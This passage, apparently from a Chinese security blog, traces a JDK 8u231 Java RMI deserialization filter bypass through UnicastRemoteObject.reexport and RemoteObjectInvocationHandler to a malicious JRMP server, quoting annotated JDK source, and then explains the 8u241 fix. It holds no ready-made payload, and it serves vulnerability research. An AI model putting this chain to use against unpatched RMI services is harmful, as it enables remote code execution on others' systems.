后半段思路没变,在 RMI 服务端发起 JRMP 请求这部分加了新活。
之前绕过的核心思想:
- readobject反序列化的过程会递归反序列化我们的对象,一直反序列化到我们的UnicastRef类。
- 在readobejct反序列化的过程中填装UnicastRef类到
incomingRefTable
- 在releaseInputStream语句中从incomingRefTable中读取ref进行开始JRMP请求
这里的新思路不是在 readObject 递归的过程中触发我们的类,而是在 readObject 调用的时候直接发起请求。
- readobject递归反序列化到payload对象中的UnicastRef对象,填装UnicastRef对象的ref到
incomingRefTable
- 在根据readobject的第二个最著名的特性:会调用对象自实现的readobject方法,会执行UnicastRemoteObject的readObject,他的Gadgets会在这里触发一次JRMP请求
- 在releaseInputStream语句中从
incomingRefTable
中读取ref进行开始JRMP请求
从 java.rmi.server.UnicastRemoteObject#readObject 开始跟一下:
private void readObject(java.io.ObjectInputStream in)
throws java.io.IOException, java.lang.ClassNotFoundException
{
in.defaultReadObject();
reexport();//这里
}
跟进 java.rmi.server.UnicastRemoteObject#reexport
:
private void reexport() throws RemoteException
{
if (csf == null && ssf == null) {
exportObject((Remote) this, port);
} else {
//payload是填充了ssf的,这里
exportObject((Remote) this, port, csf, ssf);
}
}
一直跟到 sun.rmi.transport.tcp.TCPEndpoint#newServerSocket
ServerSocket newServerSocket() throws IOException {
if (TCPTransport.tcpLog.isLoggable(Log.VERBOSE)) {
TCPTransport.tcpLog.log(Log.VERBOSE, "creating server socket on " + this);
}
Object var1 = this.ssf;
if (var1 == null) {
var1 = chooseFactory();
}
//var1就是我们的payload中构建的ssf.调用他的createServerSocket
//会根据动态代理进入RemoteObjectInvocationHandler#invoke
ServerSocket var2 = ((RMIServerSocketFactory)var1).createServerSocket(this.listenPort);
if (this.listenPort == 0) {
setDefaultPort(var2.getLocalPort(), this.csf, this.ssf);
}
触发了动态代理(和之前攻击用动态代理的原因不同,这里用到的是其会调用 invoke 的性质),进入 java.rmi.server.RemoteObjectInvocationHandler#invoke,到 else 分支触发 java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod
private Object invokeRemoteMethod(Object proxy,
Method method,
Object[] args)
throws Exception
{
try {
if (!(proxy instanceof Remote)) {
throw new IllegalArgumentException(
"proxy not Remote instance");
}
//我们payload把RemoteObjectInvocationHandler的ref写成了JRMP恶意服务器地址
//这里开始了触发JRMP请求
return ref.invoke((Remote) proxy, method, args,
getMethodHash(method));
} catch (Exception e) {
ref 就是我们控制的 UnicastRef 对象,然后就会进到 sun.rmi.server.UnicastRef#invoke(java.rmi.Remote, java.lang.reflect.Method, java.lang.Object[], long) 里,进入 var7.executeCall(),最后在里面触发反序列化。
然后这个方法能绕过 8u231的限制。。。
- 首先这个复写过程是顺着下来一气呵成的,不存在之前先存-再用的问题,不受清除 ref 的影响。
- 没有走 DGC 层的 dirty,直接调了 ref 的 invoke,黑名单没用了。
8u241的修复
把本来的(String)var9.readobject()
改成了
SharedSecrets.getJavaObjectInputStreamReadString().readString(var9);
前者是可以反序列化Object的,但是后者就完全不接受反序列化Object。
//8u241时这里,type传入String
private Object readObject0(Class> type, boolean unshared) throws IOException {
//...
case TC_OBJECT://我们输入的payload对象是一个Object
if (type == String.class) {
//8u241 type=String 直接在此处报错不进行反序列化了
throw new ClassCastException("Cannot cast an object to java.lang.String");
}
//之前的版本都是传入type=Object于是正常反序列化
return checkResolve(readOrdinaryObject(unshared));
//..
}
如果参数类型是 String 则会直接拒绝反序列化。
第二处是在 java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod 中加入了 method 的验证(不可控),bind + 可认证 ip 的攻击也无了。